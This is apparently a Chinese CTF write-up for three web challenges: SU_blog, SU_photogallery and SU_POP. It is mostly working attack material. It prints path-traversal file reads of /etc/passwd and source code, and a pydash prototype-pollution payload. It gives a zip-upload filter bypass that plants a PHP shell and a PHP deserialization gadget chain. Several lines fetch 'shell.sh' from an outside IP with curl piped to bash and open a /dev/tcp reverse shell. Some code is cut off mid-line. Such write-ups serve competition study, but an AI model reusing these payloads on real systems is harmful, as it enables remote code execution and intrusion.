目录
SU_blog
SU_photogallery
SU_POP
SU_blog
先是注册功能覆盖admin账号
以admin身份登录,拿到读文件的权限
Python
./article?file=articles/..././..././..././..././..././..././etc/passwd
Python
./article?file=articles/..././..././..././..././..././..././proc/1/cmdline
Python
./article?file=articles/..././app.py
读到源码
Python
from flask import *
import time, os, json, hashlib
from pydash import set_
from waf import pwaf, cwaf
app = Flask(__name__)
app.config['SECRET_KEY'] = hashlib.md5(str(int(time.time())).encode()).hexdigest()
users = {"testuser": "password"}
BASE_DIR = '/var/www/html/myblog/app'
articles = {
1: "articles/article1.txt",
2: "articles/article2.txt",
3: "articles/article3.txt"
}
friend_links = [
{"name": "bkf1sh", "url": "https://ctf.org.cn/"},
{"name": "fushuling", "url": "https://fushuling.com/"},
{"name": "yulate", "url": "https://www.yulate.com/"},
{"name": "zimablue", "url": "https://www.zimablue.life/"},
{"name": "baozongwi", "url": "https://baozongwi.xyz/"},
]
class User():
def __init__(self):
pass
user_data = User()
@app.route('/')
def index():
if 'username' in session:
return render_template('blog.html', articles=articles, friend_links=friend_links)
return redirect(url_for('login'))
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username in users and users[username] == password:
session['username'] = username
return redirect(url_for('index'))
else:
return "Invalid credentials", 403
return render_template('login.html')
@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
users[username] = password
return redirect(url_for('login'))
return render_template('register.html')
@app.route('/change_password', methods=['GET', 'POST'])
def change_password():
if 'username' not in session:
return redirect(url_for('login'))
if request.method == 'POST':
old_password = request.form['old_password']
new_password = request.form['new_password']
confirm_password = request.form['confirm_password']
if users[session['username']] != old_password:
flash("Old password is incorrect", "error")
elif new_password != confirm_password:
flash("New passwords do not match", "error")
else:
users[session['username']] = new_password
flash("Password changed successfully", "success")
return redirect(url_for('index'))
return render_template('change_password.html')
@app.route('/friendlinks')
def friendlinks():
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))
return render_template('friendlinks.html', links=friend_links)
@app.route('/add_friendlink', methods=['POST'])
def add_friendlink():
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))
name = request.form.get('name')
url = request.form.get('url')
if name and url:
friend_links.append({"name": name, "url": url})
return redirect(url_for('friendlinks'))
@app.route('/delete_friendlink/')
def delete_friendlink(index):
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))
if 0 /Admin路由一眼打pydash原型链污染 污染什么呢,可以污染render_template参考CTFtime.org / idekCTF 2022* / task manager / Writeup打入{"key":"__class__.__init__.__globals__.__builtins__.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2","value":"*;__import__('os').system('curl http://27.25.151.98:1338/shell.sh | bash');#"} 放个恶意shell文件到vps上bash -c "bash -i >& /dev/tcp/27.25.151.98/1339 0>&1" 随便访问渲染模板的页面,成功反弹shell SU_photogallery结合“测试”的提示&404特征辨别题目服务是php -S启动的存在一个任意文件读取漏洞PHP Development Server 去读一下unzip.phpbp把自动更新长度关掉 numFiles; $i++) {
$fileInfo = $zip->statIndex($i);
$fileName = $fileInfo['name'];
if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {
return false;
}
// echo "Checking file: $fileName\n";
$fileContent = $zip->getFromName($fileName);
if (preg_match('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i', $fileContent) || check_base($fileContent)) {
// echo "Don't hack me!\n";
return false;
}
else {
continue;
}
}
return true;
}
function unzip($zipname, $basePath) {
$zip = new ZipArchive;
if (!file_exists($zipname)) {
// echo "Zip file does not exist";
return "zip_not_found";
}
if (!$zip->open($zipname)) {
// echo "Fail to open zip file";
return "zip_open_failed";
}
if (!check_content($zip)) {
return "malicious_content_detected";
}
$randomDir = 'tmp_'.md5(uniqid().rand(0, 99999));
$path = $basePath . DIRECTORY_SEPARATOR . $randomDir;
if (!mkdir($path, 0777, true)) {
// echo "Fail to create directory";
$zip->close();
return "mkdir_failed";
}
if (!$zip->extractTo($path)) {
// echo "Fail to extract zip file";
$zip->close();
}
else{
for ($i = 0; $i < $zip->numFiles; $i++) {
$fileInfo = $zip->statIndex($i);
$fileName = $fileInfo['name'];
if (!check_extension($fileName, $path)) {
// echo "Unsupported file extension";
continue;
}
if (!file_rename($path, $fileName)) {
// echo "File rename failed";
continue;
}
}
}
if (!move_file($path, $basePath)) {
$zip->close();
// echo "Fail to move file";
return "move_failed";
}
rmdir($path);
$zip->close();
return true;
}
$uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'upload/suimages/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0777, true);
}
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploadedFile = $_FILES['file'];
$zipname = $uploadedFile['tmp_name'];
$path = $uploadDir;
$result = unzip($zipname, $path);
if ($result === true) {
header("Location: index.html?status=success");
exit();
} else {
header("Location: index.html?status=$result");
exit();
}
} else {
header("Location: index.html?status=file_error");
exit();
} 注意到这段代码因为是先解压再检验文件后缀,所以可以用解压失败来绕过zip在CTF-web方向中的一些用法 - 个人学习分享用这段脚本生成恶意zip文件import zipfile
import io
# 创建一个 BytesIO 对象来存储压缩文件内容
mf = io.BytesIO()
# 使用 zipfile 创建一个 ZIP 文件
with zipfile.ZipFile(mf, mode="w", compression=zipfile.ZIP_STORED) as zf:
# 向 ZIP 文件中写入恶意 PHP 文件
zf.writestr('exp.php', b'')
# 向 ZIP 文件中写入一个文件名为 'A' * 5000 的文件,内容为 'AAAAA'
zf.writestr('A' * 5000, b'AAAAA')
# 将生成的 ZIP 文件写入磁盘
with open("shell.zip", "wb") as f:
f.write(mf.getvalue()) 上传成功 访问RCESU_POP看到反序列化入口 先是找入口点,全局搜__destruct,看到RejectedPromise这个类对handler、reason可控,可以拼接message触发__toString再找sink,全局搜eval(找到一个比较干净的触发eval的类 再全局搜__toStringstream可控,可以触发__call全局搜__call 从_methodMap中取一组数据,配合_loaded,可以调用任意类的任意方法,最后走到sink链子RejectedPromise#__destruct -> Response#__toString -> Table#__call ->BehaviorRegistry#call -> MockClass#generate exp:classCode ="system('curl http://27.25.151.98:1338/shell.sh | bash');";
$this->mockName = "Z3r4y";
}
}
namespace Cake\ORM;
use PHPUnit\Framework\MockObject\Generator\MockClass;
class BehaviorRegistry
{
public $_methodMap;
public $_loaded;
public function __construct() {
$this->_methodMap = ["rewind" => ["Z3r4y", "generate"]];
$this->_loaded = ["Z3r4y" => new MockClass()];
}
}
class Table
{
public $_behaviors;
public function __construct() {
$this->_behaviors = new BehaviorRegistry();
}
}
namespace Cake\Http;
use Cake\ORM\Table;
class Response
{
public $stream;
public function __construct() {
$this->stream = new Table();
}
}
namespace React\Promise\Internal;
use Cake\Http\Response;
final class RejectedPromise
{
public $reason;
public function __construct() {
$this->reason = new Response();
}
}
$a=new RejectedPromise();
echo base64_encode(serialize($a)); 往vps上放一个恶意shell脚本bash -c "bash -i >& /dev/tcp/27.25.151.98/1339 0>&1"打入:成功弹上shell find提权拿flag